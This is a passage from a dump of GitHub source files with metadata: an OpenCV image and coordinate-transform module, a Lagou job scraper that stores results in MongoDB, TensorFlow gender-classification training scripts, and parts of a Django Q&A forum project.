0), 2)\n\n def resize(self, w, h):\n \"\"\"\n 调整图片大小\n :param w: 需要设定的宽\n :param h: 需要设定的厂\n :return: self\n \"\"\"\n if self.type == 'cpu':\n img = cv2.resize(self.imread(), (int(w), int(h)))\n else:\n img = cv2.cuda.resize(self.download(), (int(w), int(h)))\n self.imwrite(img)\n return self\n\n def cv2_to_base64(self):\n \"\"\"\n 将图片数据转换为base64格式\n :return: base64格式的图片数据\n \"\"\"\n data = cv2.imencode('.png', self.imread())\n return data\n\n def cvtColor(self, dst):\n \"\"\"\n 转换图片颜色空间\n :param dst: Destination image\n :return: cuda_GpuMat/numpy.ndarry\n \"\"\"\n if self.type == 'cpu':\n return cv2.cvtColor(self.imread(), dst)\n else:\n return cv2.cuda.cvtColor(self.download(), dst)\n\n def rgb_2_gray(self):\n return self.cvtColor(cv2.COLOR_BGR2GRAY)" }, { "alpha_fraction": 0.5361518859863281, "alphanum_fraction": 0.5407351851463318, "avg_line_length": 30.078489303588867, "blob_id": "8f24f1d20e06181a1fab6a841096f2754bb59345", "content_id": "09ad087449fe80f9e794e9adacdf41e5d26d341e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11445, "license_type": "permissive", "max_line_length": 103, "num_lines": 344, "path": "/baseImage/coordinate.py", "repo_name": "Hanlen520/base_image", "src_encoding": "UTF-8", "text": "#! usr/bin/python\n# -*- coding:utf-8 -*-\n\"\"\"\n坐标系转换---从原来叉叉助手框架转移过来的\n包含了锚点模式,适用于各种分辨率,刘海屏的坐标适配\n\"\"\"\nfrom typing import Union\nfrom loguru import logger\nfrom pydantic import BaseModel\n\n\nclass display_type(BaseModel):\n \"\"\"\n top, bottom为上下黑边, left和right为左右黑边, widht为宽, height为高\n width需要大于height\n \"\"\"\n width: int\n height: int\n top = 0\n bottom = 0\n left = 0\n right = 0\n x = 0\n y = 0\n\n\nclass Point(object):\n \"\"\"\n Point.ZERO :一个x,y均为0的Point\n Point.INVALID :一个x,y均为-1的Point\n Point(void) :构造一个x,y均为0的Point\n Point(x:int , y:int) :根据x,y构造一个Point\n Point(Point) :根据point,拷贝一个新的Point\n Point.x :x坐标\n Point.y :y坐标\n 支持 +,-,*,/,==操作\n \"\"\"\n def __init__(self, x: int, y: int,\n anchor_mode: str = 'Middle', anchor_x: int = 0, anchor_y: int = 0):\n \"\"\"\n 构建一个点\n :param x: x轴坐标\n :param y: y轴坐标\n :param kwargs:\n \"\"\"\n self.x = x\n self.y = y\n self.anchor_mode = anchor_mode\n self.anchor_x = anchor_x\n self.anchor_y = anchor_y\n\n def __str__(self):\n return '<Point [{:.1f}, {:.1f}]>'.format(self.x, self.y)\n\n def __add__(self, other):\n if type(other) == Point:\n return Point(self.x + other.x, self.y + other.y)\n raise logger.error('目标对象不是Point类,请检查')\n\n def __sub__(self, other):\n if type(other) == Point:\n return Point(self.x - other.x, self.y - other.y)\n raise logger.error('目标对象不是Point类,请检查')\n\n def __mul__(self, other):\n if type(other) == int:\n return Point(self.x * other, self.y * other)\n raise logger.error('目标对象不是int类,请检查')\n\n def __truediv__(self, other):\n if type(other) == int:\n return Point(self.x / other, self.y / other)\n raise logger.error('目标对象不是int类,请检查')\n\n def __eq__(self, other):\n if type(other) == Point:\n return self.x == other.x and self.y == other.y\n else:\n logger.error('目标对象不是Point类,请检查')\n return False\n\n\nPoint.ZERO = Point(0, 0)\nPoint.INVALID = Point(-1, -1)\n\n\nclass Size(object):\n \"\"\"\n Size.ZERO :一个width,height均为0的Size\n Size.INVALID :一个width,height均为-1的Size\n Size(void) :构造一个width,height均为0的Size\n Size(width:int , height:int) :根据width,height构造一个Size\n Size(Size) :根据Size,拷贝一个新的Size\n Size.width :Size的宽\n Size.height :Size的高\n 支持 +,-,*,/,==操作\n \"\"\"\n def __init__(self, width: int, height: int):\n self.width = width\n self.height = height\n\n def __str__(self):\n return '<Size [{} x {}]>'.format(self.width,self.height)\n\n def __add__(self, other):\n if type(other) == Size:\n return Size(self.width + other.width, self.height + other.height)\n raise logger.error('目标对象不是Size类,请检查')\n\n def __sub__(self, other):\n if type(other) == Size:\n return Size(self.width - other.width, self.height - other.height)\n raise logger.error('目标对象不是Size类,请检查')\n\n def __mul__(self, other):\n if type(other) == int:\n return Size(self.width * other, self.height * other)\n raise logger.error('目标对象不是int类,请检查')\n\n def __truediv__(self, other):\n if type(other) == int:\n return Size(self.width / other, self.height / other)\n raise logger.error('目标对象不是int类,请检查')\n\n def __eq__(self, other):\n if type(other) == Point:\n return self.width == other.width and self.height == other.height\n else:\n logger.error('目标对象不是Size类,请检查')\n return False\n\n def __lt__(self, other):\n if type(other) == Size:\n return self.width*self.height < other.width*other.height\n else:\n logger.error('目标对象不是Size类,请检查')\n return False\n\n def __gt__(self, other):\n if type(other) == Size:\n return self.width*self.height > other.width*other.height\n else:\n logger.error('目标对象不是Size类,请检查')\n return False\n\n def __le__(self, other):\n if type(other) == Size:\n return self.width*self.height <= other.width*other.height\n else:\n logger.error('目标对象不是Size类,请检查')\n return False\n\n def __ge__(self, other):\n if type(other) == Size:\n return self.width*self.height >= other.width*other.height\n else:\n logger.error('目标对象不是Size类,请检查')\n return False\n\n\nSize.ZERO = Size(0, 0)\nSize.INVALID = Size(-1, -1)\n\n\nclass Rect(object):\n def __init__(self, x, y, width, height):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n\n def __str__(self):\n return '<Rect [Point({}, {}), Size[{}, {}]]'.format(\n self.x, self.y, self.width, self.height)\n\n @property\n def size(self):\n return Size(self.width, self.height)\n\n @property\n def tl(self):\n \"\"\"返回当前Rect的左上角Point坐标\"\"\"\n return Point(self.x, self.y)\n\n @property\n def br(self):\n \"\"\"返回当前Rect的右下角Point坐标\"\"\"\n return Point(self.x+self.width, self.y+self.height)\n\n @property\n def middle(self):\n return Point(self.x+self.width/2, self.y+self.height/2)\n\n def contains(self, v):\n \"\"\"判断Point,或者Rect是否在当前Rect范围中\"\"\"\n if isinstance(v, Point):\n tl, br = self.tl, self.br\n if tl.x <= v.x <= br.x and tl.y <= v.y <= br.y:\n return True\n elif isinstance(v, Rect):\n \"\"\"判断左上,右下顶点坐标即可\"\"\"\n if self.contains(v.tl) and self.contains(v.br):\n return True\n return False\n\n @staticmethod\n def create_by_point_size(point: Point, size: Size):\n return Rect(point.x, point.y, size.width, size.height)\n\n @staticmethod\n def create_by_2_point(tl_point: Point, br_point: Point):\n return Rect(tl_point.x, tl_point.y, br_point.x-tl_point.x, br_point.y-tl_point.y)\n\n\nRect.ZERO = Rect(0, 0, 0, 0)\n\n\nclass Anchor_transform(object):\n @staticmethod\n def Middle(x, y, dev, cur, mainPoint_scale):\n x = cur.x / 2 - ((dev.x / 2 - x) * mainPoint_scale['x']) + cur.left\n y = cur.y / 2 - ((dev.y / 2 - y) * mainPoint_scale['y']) + cur.top\n return x, y\n\n @staticmethod\n def Left(x, y, dev, cur, mainPoint_scale):\n x = x * mainPoint_scale['x'] + cur.left\n y = cur.y/2-((dev.y/2-y)*mainPoint_scale['y'])+cur.top\n return x, y\n\n @staticmethod\n def Right(x, y, dev, cur, mainPoint_scale):\n x = cur.x-((dev.x-x) * mainPoint_scale['x'])+cur.left\n y = cur.y/2-((dev.y/2-y) * mainPoint_scale['y'])+cur.top\n return x, y\n\n @staticmethod\n def top(x, y, dev, cur, mainPoint_scale):\n x = cur.x / 2 - ((dev.x / 2 - x) * mainPoint_scale['x']) + cur.left\n y = y * mainPoint_scale['y'] + cur.top\n return x, y\n\n @staticmethod\n def Bottom(x, y, dev, cur, mainPoint_scale):\n x = cur.x / 2 - ((dev.x / 2 - x) * mainPoint_scale['x']) + cur.left\n y = cur.y - ((dev.y - y) * mainPoint_scale['y']) + cur.top\n return x, y\n\n @staticmethod\n def Left_top(x, y, dev, cur, mainPoint_scale):\n x = x * mainPoint_scale['x'] + cur.left\n y = y * mainPoint_scale['y'] + cur.top\n return x, y\n\n @staticmethod\n def Left_bottom(x, y, dev, cur, mainPoint_scale):\n x = x * mainPoint_scale['x'] + cur.left\n y = cur.y - ((dev.y - y) * mainPoint_scale['y']) + cur.top\n return x, y\n\n @staticmethod\n def Right_top(x, y, dev, cur, mainPoint_scale):\n x = cur.x - ((dev.x - x) * mainPoint_scale['x']) + cur.left\n y = y * mainPoint_scale['y'] + cur.top\n return x, y\n\n @staticmethod\n def Right_bottom(x, y, dev, cur, mainPoint_scale):\n \"\"\"锚点右下\"\"\"\n x = cur.x - ((dev.x-x)*mainPoint_scale['x']) + cur.left\n y = cur.y - ((dev.y-y)*mainPoint_scale['y']) + cur.top\n return x, y\n\nclass Anchor(object):\n def __init__(self, dev: dict, cur: dict, orientation: int):\n dev = display_type(**dev)\n cur = display_type(**cur)\n self.dev, self.cur = dev, cur\n\n if orientation == 1 or orientation == 2:\n dev_x = dev.width - dev.left - dev.right\n dev_y = dev.height - dev.top - dev.bottom\n cur_x = cur.width - cur.left - cur.right\n cur_y = cur.height - cur.top - cur.bottom\n elif orientation == 3:\n dev_x = dev.height - dev.top - dev.bottom\n dev_y = dev.width - dev.left - dev.right\n cur_x = cur.height - cur.top - cur.bottom\n cur_y = cur.width - cur.left - cur.right\n else:\n raise ValueError('没有定义orientation')\n dev.x, dev.y = dev_x, dev_y\n cur.x, cur.y = cur_x, cur_y\n\n scale_x = cur_x / dev_x\n scale_y = cur_y / dev_y\n # mainPoint_scale_mode x,y:'width','height'\n self.mainPoint_scale = {\n 'x': scale_x,\n 'y': scale_y,\n }\n #\n self.appurtenant_scale = {\n 'x': scale_x,\n 'y': scale_y,\n }\n\n def point(self, x: int, y: int, anchor_mode: str = 'Middle', anchor_x: int = 0, anchor_y: int = 0):\n point = Point(x=x, y=y, anchor_mode=anchor_mode, anchor_x=anchor_x, anchor_y=anchor_y)\n point.x, point.y = self.transform(point)\n return point\n\n def size(self, width: int, height: int):\n size = Size(width=width, height=height)\n size.width, size.height = self.transform(size)\n return size\n\n def transform(self, args: Union[Point, Size]):\n if isinstance(args, Point):\n # 计算锚点坐标\n anchor_x, anchor_y = self._count_anchor_point(args)\n # 计算从属点坐标\n x, y = self._count_appurtenant_point(args, anchor_x, anchor_y)\n return x, y\n elif isinstance(args, Size):\n width = args.width * self.mainPoint_scale['x']\n height = args.height * self.mainPoint_scale['y']\n return width, height\n else:\n raise ValueError('转换未知的类型: {}'.format(args))\n\n def _count_appurtenant_point(self, point, anchor_x, anchor_y):\n \"\"\"计算锚点从属点坐标\"\"\"\n x = anchor_x + (point.x - point.anchor_x)*self.appurtenant_scale['x']\n y = anchor_y + (point.y - point.anchor_y)*self.appurtenant_scale['y']\n return x, y\n\n def _count_anchor_point(self, point):\n \"\"\"计算锚点坐标\"\"\"\n anchor_fun = getattr(Anchor_transform, point.anchor_mode)\n x = point.anchor_x - self.dev.left\n y = point.anchor_y - self.dev.top\n x, y = anchor_fun(x, y, self.dev, self.cur, self.mainPoint_scale)\n return x, y\n" } ]
9
xxduck/lagou
https://github.com/xxduck/lagou
8445a2337700381cba3cb08cd58d25c726620b91
1643dec2709c96cf23d8fcf6c6f5f0669600cde9
7b852b1b6913ba3ee7395bc436b686998aa6216f
refs/heads/master
2021-10-10T05:48:29.380831
2019-01-07T09:39:04
2019-01-07T09:39:04
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6098765134811401, "alphanum_fraction": 0.6427983641624451, "avg_line_length": 22.384614944458008, "blob_id": "32cc3349d235a6f486ce5f2ac1e9025288ca7ee8", "content_id": "90fa9d897cd2e21394c6ab66614e8420ff248763", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1425, "license_type": "no_license", "max_line_length": 143, "num_lines": 52, "path": "/get_info.py", "repo_name": "xxduck/lagou", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 17-8-14 下午2:38\n# @Author : xiaofang\n# @Site : \n# @File : get_info.py\n# @Software: PyCharm Community Edition\n\"\"\"\n从拉勾网获取python爬虫全国职位信息并直接存入mongodb数据库\n\"\"\"\nimport requests\nimport json\nfrom fake_useragent import UserAgent\nimport time\nimport pymongo\n\nua = UserAgent() #使用随机请求头防止被封\n\nclass Lagou():\n\t\"\"\"\n\ta class to get all job info\n\t\"\"\"\n\tpage = 1000 #你想抓取的页数默认设置1000页目的是采集所有相关页面(普遍职位超不过1000页的信息)\n\theader = {'User-Agent': ua.random}\n\n\tdef get_all(self):\n\t\t\"\"\"\n\t\t因为电脑版网页比较难爬取,所以选择手机版网页\n\t\t\"\"\"\n\t\tfor i in range(1,self.page):\n\t\t\tpage_url = 'https://m.lagou.com/search.json?city=%E5%85%A8%E5%9B%BD&positionName=python%E7%88%AC%E8%99%AB&pageNo=' + str(i) + '&pageSize=15'\n\t\t\ttime.sleep(2)\n\t\t\tr = requests.get(page_url, headers=self.header)\n\t\t\tstatus = r.status_code\n\n\t\t\tif status == 200:\n\t\t\t\thtml = r.text\n\t\t\t\tresult = json.loads(html)\n\t\t\t\tinfo = result['content']['data']['page']['result']\n\t\t\t\tif info == []:\n\t\t\t\t\treturn\n\n\t\t\t\telse:\n\t\t\t\t\tfor item in info:\n\t\t\t\t\t\tmongo = pymongo.MongoClient()\n\t\t\t\t\t\tcollections = mongo.lagou.pythoner_job\n\t\t\t\t\t\tcollections.insert_one(item)\n\t\t\t\t\t\tprint(\"数据成功采集并插入数据库\")\n\nif __name__ == \"__main__\":\n\tlagou = Lagou()\n\tlagou.get_all()" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.75, "avg_line_length": 19, "blob_id": "632cffc2892156089096b21971cf396296badbc4", "content_id": "794cc1cdb65093f97dee160eede1e95456b202b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 82, "license_type": "no_license", "max_line_length": 33, "num_lines": 2, "path": "/README.md", "repo_name": "xxduck/lagou", "src_encoding": "UTF-8", "text": "# 拉勾网\n<h3>采集拉勾网python爬虫职位信息,工作地点全国</h3>\n" } ]
2
Mathematicator/Tensorflow_gender
https://github.com/Mathematicator/Tensorflow_gender
51b8f6a6dd14f1814f24081c07814e07596a896d
dc1725ec48063c8fac251214679549273647bea5
8dfba08bdcb1bb10765ad65b341092a830a13e58
refs/heads/master
2020-04-05T18:02:48.569712
2019-08-27T11:20:21
2019-08-27T11:20:21
157,086,657
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6345500946044922, "alphanum_fraction": 0.6511035561561584, "avg_line_length": 28.81012725830078, "blob_id": "3bd132cdbe3747855ad6a831195570753ed3cd3c", "content_id": "736abaa9fe12555126ac52aa5f2e4970781720b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2356, "license_type": "no_license", "max_line_length": 80, "num_lines": 79, "path": "/Deep_Learning/nn2/simplest_v2.py", "repo_name": "Mathematicator/Tensorflow_gender", "src_encoding": "UTF-8", "text": "\nimport tensorflow as tf\nimport numpy as np\nimport DataSets as ds\n\nLoadModel = False\n\nexperiment_name = '1k'\ntrain = ds.DataSet('../DataBases/data_1k.bin','../DataBases/gender_1k.bin',1000)\n\ndef variable_summaries(var, name):\n\twith tf.name_scope('summaries'):\n\t\tmean = tf.reduce_mean(var)\n\t\ttf.summary.scalar( name + '/mean', mean)\n\t\twith tf.name_scope('stddev'):\n\t\t\tstddev = tf.sqrt(tf.reduce_sum(tf.square(var - mean)))\n\t\ttf.summary.scalar( name + '/sttdev' , stddev)\n\t\ttf.summary.scalar( name + '/max' , tf.reduce_max(var))\n\t\ttf.summary.scalar( name + '/min' , tf.reduce_min(var))\n\t\ttf.summary.histogram(name, var)\n\ndef fc_layer(tensor, input_dim, output_dim,name):\n\twith tf.name_scope(name):\n\t\tWinit = tf.truncated_normal([input_dim, output_dim], stddev=0.1)\n\t\tW = tf.Variable(Winit)\n\t\tvariable_summaries(W, name + '/W')\n\t\tBinit = tf.constant(0.0, shape=[output_dim])\n\t\tB = tf.Variable(Binit)\n\t\tvariable_summaries(B, name + '/B')\n\t\ttensor = tf.matmul(tensor, W) + B\n\t\treturn tensor\n\t\ndef get_dict(database):\n\txs,ys = database.NextTrainingBatch()\n\treturn {x:xs,y_desired:ys}\n\nwith tf.name_scope('input'):\n\tx = tf.placeholder(tf.float32, [None, train.dim],name='x')\n\ty_desired = tf.placeholder(tf.float32, [None, 2],name='y_desired')\n\nwith tf.name_scope('perceptron'):\n\tlayer1 = fc_layer(x,train.dim,50,'layer_1')\n\tsigmo = tf.nn.sigmoid(layer1)\n\ty = fc_layer(sigmo,50,2,'layer_2')\n\nwith tf.name_scope('loss'):\n\tloss = tf.reduce_sum(tf.square(y - y_desired))\n\ttf.summary.scalar('loss', loss)\n\t\ntrain_step = tf.train.GradientDescentOptimizer(1e-5).minimize(loss)\n\nmerged = tf.summary.merge_all()\n\n\nprint (\"-----------------------------------------------------\")\nprint (\"-----------\",experiment_name)\nprint (\"-----------------------------------------------------\")\n\n\nsess = tf.Session()\t\nsess.run(tf.global_variables_initializer())\nwriter = tf.summary.FileWriter(experiment_name, sess.graph)\nsaver = tf.train.Saver()\nif LoadModel:\n\tsaver.restore(sess, \"./model.ckpt\")\n\nnbIt = 100000\nfor it in range(nbIt):\n\ttrainDict = get_dict(train)\n\t\t\t\t\t\n\tsess.run(train_step, feed_dict=trainDict)\n\tif it%1000 == 0:\n\t\tprint (\"it= %6d - loss= %f\" % (it, sess.run(loss, feed_dict=trainDict)))\n\t\tsummary_merged = sess.run(merged, feed_dict=trainDict)\n\t\twriter.add_summary(summary_merged, it)\t\n\nwriter.close()\nif not LoadModel:\n\tsaver.save(sess, \"./model.ckpt\")\nsess.close()\n" }, { "alpha_fraction": 0.6573224067687988, "alphanum_fraction": 0.6877718567848206, "avg_line_length": 29.41176414489746, "blob_id": "a2054868953ed2327f4380f633c68cb2aabd7090", "content_id": "11b4cb42e2ad24f0ff13bcd7765975387098a101", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2069, "license_type": "no_license", "max_line_length": 113, "num_lines": 68, "path": "/Deep_Learning/nn1/simplest.py", "repo_name": "Mathematicator/Tensorflow_gender", "src_encoding": "UTF-8", "text": "\nimport tensorflow as tf\nimport numpy as np\n\n# nombre d images\nnbdata = 1000\ntrainDataFile = 'D:/bdr/Documents/TP 3 tensor flow/Deep_Learning_Cours/Deep_Learning_Cours/DataBases/data_1k.bin'\nLabelFile = 'D:/bdr/Documents/TP 3 tensor flow/Deep_Learning_Cours/Deep_Learning_Cours/DataBases/gender_1k.bin'\n\n# taille des images 48*48 pixels en niveau de gris\ndim = 2304\n#we open the wanted data in two color \"red\" \"blue\"\nf = open(trainDataFile, 'rb')\ndata = np.empty([nbdata, dim], dtype=np.float32)\nfor i in range(nbdata):\n\tdata[i,:] = np.fromfile(f, dtype=np.uint8, count=dim).astype(np.float32)\nf.close()\n#we construct our data matrix \"data\"\n#we open our LabelFile \nf = open(LabelFile, 'rb')\nlabel = np.empty([nbdata, 2], dtype=np.float32)\nfor i in range(nbdata):\n\tlabel[i,:] = np.fromfile(f, dtype=np.float32, count=2)\nf.close()\n\n\ndef fc_layer(tensor, input_dim, output_dim): \n\tprint ('tensor ',tensor.get_shape() )\n\tWinit = tf.truncated_normal([input_dim, output_dim], stddev=0.1)\n\tW = tf.Variable(Winit)\n\tprint ('Winit ',Winit.get_shape())\n\tprint ('W ',W.get_shape())\n\tBinit = tf.constant(0.0, shape=[output_dim])\n\tB = tf.Variable(Binit)\n\tprint ('Binit ',Binit.get_shape())\n\tprint ('B ',B.get_shape())\n\ttensor = tf.matmul(tensor, W) + B\n\tprint ('tensor ',tensor.get_shape())\n\tprint ('--------')\n\treturn tensor\n\t\n\nx = tf.placeholder(tf.float32, [None, dim])\ny_desired = tf.placeholder(tf.float32, [None, 2])\n\nlayer1 = fc_layer(x,dim,50)\nsigmo = tf.nn.sigmoid(layer1)\ny = fc_layer(sigmo,50,2)\n\nloss = tf.reduce_sum(tf.square(y - y_desired))\ntrain_step = tf.train.GradientDescentOptimizer(1e-5).minimize(loss)\n\nsess = tf.Session()\t\nsess.run(tf.global_variables_initializer())\ncurPos = 0\nbatchSize = 256\nnbIt = 1000000\nfor it in range(nbIt):\n\tif curPos + batchSize > nbdata:\n\t\tcurPos = 0\n\ttrainDict = {x:data[curPos:curPos+batchSize,:],y_desired:label[curPos:curPos+batchSize,:]}\n\t\t\n\tcurPos += batchSize\n\n\tsess.run(train_step, feed_dict=trainDict)\n\tif it%1000 == 0:\n\t\tprint (\"it= %6d - loss= %f\" % (it, sess.run(loss, feed_dict=trainDict)))\n\nsess.close()\n" }, { "alpha_fraction": 0.6229208707809448, "alphanum_fraction": 0.6494929194450378, "avg_line_length": 40.779659271240234, "blob_id": "407c8ecf235a993f5fe3c549659f4ab1337d59ef", "content_id": "0526d4fb2527872e10f8b45658bc4b9219d7c35a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4930, "license_type": "no_license", "max_line_length": 232, "num_lines": 118, "path": "/Deep_Learning/nn5/Main.py", "repo_name": "Mathematicator/Tensorflow_gender", "src_encoding": "UTF-8", "text": "import Layers\nimport DataSets as ds\nimport numpy as np\nimport tensorflow as tf\n\n#############################################################################\n# Creates a graph.\na = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[2, 3], name='a')\nb = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[3, 2], name='b')\nc = tf.matmul(a, b)\n# Creates a session with log_device_placement set to True.\nsess = tf.Session(config=tf.ConfigProto(log_device_placement=True))\n# Runs the op.\nprint(sess.run(c))\n################################################################################\n################################################################################\n################################################################################\n\n#define a get_dict function to extract next training batch in training mode\ndef get_dict(database,IsTrainingMode):\n\txs,ys = database.NextTrainingBatch()\n\treturn {x:xs,y_desired:ys,ITM:IsTrainingMode}\n\n#Loading model is false \nLoadModel = False\n#??\nKeepProb_Dropout = 0.9\n#we give a nem to the expirement KeepProb_Dropout\nexperiment_name = '10k_Dr%.3f'%KeepProb_Dropout\n#train = ds.DataSet('../DataBases/data_1k.bin','../DataBases/gender_1k.bin',1000)\ntrain = ds.DataSet('D:/bdr/Documents/TP 3 tensor flow/Deep_Learning_Cours/Deep_Learning_Cours/DataBases/data_10k.bin','D:/bdr/Documents/TP 3 tensor flow/Deep_Learning_Cours/Deep_Learning_Cours/DataBases/gender_10k.bin',10000)\n#train = ds.DataSet('../DataBases/data_100k.bin','../DataBases/gender_100k.bin',100000)\ntest = ds.DataSet('D:/bdr/Documents/TP 3 tensor flow/Deep_Learning_Cours/Deep_Learning_Cours/DataBases/data_test10k.bin','D:/bdr/Documents/TP 3 tensor flow/Deep_Learning_Cours/Deep_Learning_Cours/DataBases/gender_test10k.bin',10000)\n\n#we give to tf our x as input and y as output \nwith tf.name_scope('input'):\n\tx = tf.placeholder(tf.float32, [None, train.dim],name='x')\n\ty_desired = tf.placeholder(tf.float32, [None, 2],name='y_desired')\n\tITM = tf.placeholder(\"bool\", name='Is_Training_Mode')\n\n#we unflat our images to apply the filters \"nbfilters=3\" in traing mode \nwith tf.name_scope('CNN'):\n\tt = Layers.unflat(x,48,48,1)\n\tnbfilter = 3\n\tfor k in range(4):\n\t\tfor i in range(2):\n\t\t\tt = Layers.conv(t,nbfilter,3,1,ITM,'conv_%d_%d'%(nbfilter,i),KeepProb_Dropout)\n\t\tt = Layers.maxpool(t,2,'pool')\n\t\tnbfilter *= 2\n\t#after we flat our image \n\tt = Layers.flat(t)\n\t#t = Layers.fc(t,50,ITM,'fc_1',KeepProb_Dropout)\n\ty = Layers.fc(t,2,ITM,'fc_2',KP_dropout=1.0,act=tf.nn.log_softmax)\n\nwith tf.name_scope('cross_entropy'):\n\tdiff = y_desired * y \n\twith tf.name_scope('total'):\n\t\tcross_entropy = -tf.reduce_mean(diff)\n\ttf.summary.scalar('cross entropy', cross_entropy)\t\n\t\nwith tf.name_scope('accuracy'):\n\twith tf.name_scope('correct_prediction'):\n\t\tcorrect_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_desired, 1))\n\twith tf.name_scope('accuracy'):\n\t\taccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\ttf.summary.scalar('accuracy', accuracy)\t\n\nwith tf.name_scope('learning_rate'):\n\tglobal_step = tf.Variable(0, trainable=False)\n\tlearning_rate = tf.train.exponential_decay(1e-3,global_step,1000, 0.75, staircase=True)\n\n\nwith tf.name_scope('learning_rate'):\n tf.summary.scalar('learning_rate', learning_rate)\n\n#train_step = tf.train.GradientDescentOptimizer(0.00001).minimize(cross_entropy)\ntrain_step = tf.train.AdamOptimizer(learning_rate).minimize(cross_entropy,global_step=global_step)\nmerged = tf.summary.merge_all()\n\nAcc_Train = tf.placeholder(\"float\", name='Acc_Train');\nAcc_Test = tf.placeholder(\"float\", name='Acc_Test');\nMeanAcc_summary = tf.summary.merge([tf.summary.scalar('Acc_Train', Acc_Train),tf.summary.scalar('Acc_Test', Acc_Test)])\n\n\nprint (\"-----------\",experiment_name)\nprint (\"-----------------------------------------------------\")\nprint (\"-----------------------------------------------------\")\n\n\nsess = tf.Session()\t\nsess.run(tf.global_variables_initializer())\nwriter = tf.summary.FileWriter(experiment_name, sess.graph)\nsaver = tf.train.Saver()\nif LoadModel:\n\tsaver.restore(sess, \"./model.ckpt\")\n\nnbIt = 5000\nfor it in range(nbIt):\n\ttrainDict = get_dict(train,IsTrainingMode=True)\t\t\t\t\t\n\tsess.run(train_step, feed_dict=trainDict)\n\t\n\tif it%10 == 0:\n\t\tacc,ce,lr = sess.run([accuracy,cross_entropy,learning_rate], feed_dict=trainDict)\n\t\tprint (\"it= %6d - rate= %f - cross_entropy= %f - acc= %f\" % (it,lr,ce,acc ))\n\t\tsummary_merged = sess.run(merged, feed_dict=trainDict)\n\t\twriter.add_summary(summary_merged, it)\t\n\t\t\t\t\n\tif it%100 == 50:\n\t\tAcc_Train_value = train.mean_accuracy(sess,accuracy,x,y_desired,ITM)\n\t\tAcc_Test_value = test.mean_accuracy(sess,accuracy,x,y_desired,ITM)\n\t\tprint (\"mean accuracy train = %f test = %f\" % (Acc_Train_value,Acc_Test_value ))\n\t\tsummary_acc = sess.run(MeanAcc_summary, feed_dict={Acc_Train:Acc_Train_value,Acc_Test:Acc_Test_value})\n\t\twriter.add_summary(summary_acc, it)\n\t\t\nwriter.close()\nif not LoadModel:\n\tsaver.save(sess, \"./model.ckpt\")\nsess.close()\n" } ]
3
ktimez/ktimezForum
https://github.com/ktimez/ktimezForum
00da025cc2f7a10bb1726b5cf10dbd5c7fff3830
b2ed0d3d1c09c55867ef007fd7e2b960f4c5d3b7
3dcfe33a08378d9779f6d3f80701a336983b99d9
refs/heads/master
2022-12-12T08:17:20.946088
2019-10-22T21:13:32
2019-10-22T21:13:32
101,205,126
0
0
null
2017-08-23T17:02:53
2019-10-22T21:14:28
2022-12-08T00:35:41
Python
[ { "alpha_fraction": 0.49226006865501404, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 16.94444465637207, "blob_id": "d6ae7791d5bac0de97e04d2eb7a212eb75e9a109", "content_id": "99a00819275c1c4c93f2854f36e862fa17da6168", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 323, "license_type": "no_license", "max_line_length": 26, "num_lines": 18, "path": "/requirements.txt", "repo_name": "ktimez/ktimezForum", "src_encoding": "UTF-8", "text": "certifi==2017.7.27.1\nchardet==3.0.4\ndefusedxml==0.5.0\ndj-database-url==0.4.2\nDjango==1.11.23\ndjango-allauth==0.33.0\ndjango-crispy-forms==1.6.1\ngunicorn==19.7.1\nidna==2.6\noauthlib==2.0.2\nolefile==0.44\nPillow==6.2.0\npsycopg2==2.7.1\npython3-openid==3.1.0\npytz==2017.2\nrequests==2.20.0\nrequests-oauthlib==0.8.0\nurllib3==1.24.2\n" }, { "alpha_fraction": 0.8155339956283569, "alphanum_fraction": 0.8155339956283569, "avg_line_length": 102, "blob_id": "06bbab6b20cb4838c76caaad78a7cfff53ca97c1", "content_id": "97c5eeb9ee26b05df8285757e0972148e2449f9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 103, "license_type": "no_license", "max_line_length": 102, "num_lines": 1, "path": "/README.md", "repo_name": "ktimez/ktimezForum", "src_encoding": "UTF-8", "text": "ktimezForum, where people will ask any tech issues they have and get replies and help from other users\n" }, { "alpha_fraction": 0.8146341443061829, "alphanum_fraction": 0.8146341443061829, "avg_line_length": 21.88888931274414, "blob_id": "725e2da232a0a3e067453433dee2bae4af022291", "content_id": "cedf7b42619d9632f91fbfce9752f55928285fba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 205, "license_type": "no_license", "max_line_length": 49, "num_lines": 9, "path": "/Questions/admin.py", "repo_name": "ktimez/ktimezForum", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import AskedQuestions, Replies, Vote\n# Register your models here.\n\n\n\nadmin.site.register(AskedQuestions)\nadmin.site.register(Replies)\nadmin.site.register(Vote)" }, { "alpha_fraction": 0.6638699769973755, "alphanum_fraction": 0.6643943190574646, "avg_line_length": 25.5, "blob_id": "1e9c4e2c895b31aa975d300b5320b2a759c99ea8", "content_id": "c49214d914bae5889ee5b4e07682bd2cd1371268", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1907, "license_type": "no_license", "max_line_length": 89, "num_lines": 72, "path": "/Questions/views.py", "repo_name": "ktimez/ktimezForum", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, redirect\nfrom django.views.generic import ListView, DetailView, CreateView, UpdateView, 